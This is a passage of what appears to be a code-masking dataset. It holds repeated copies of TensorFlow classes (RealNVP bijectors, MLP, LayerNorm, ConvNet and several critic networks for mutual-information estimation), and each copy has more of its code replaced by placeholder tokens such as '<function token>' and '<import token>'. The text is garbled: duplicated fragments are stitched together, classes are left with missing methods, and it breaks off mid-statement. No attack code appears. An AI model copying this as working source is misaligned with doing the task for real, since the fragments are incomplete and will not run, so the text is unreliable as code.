bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n <function token>\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n <function token>\n <function token>\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n <function token>\n <function token>\n <function token>\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return 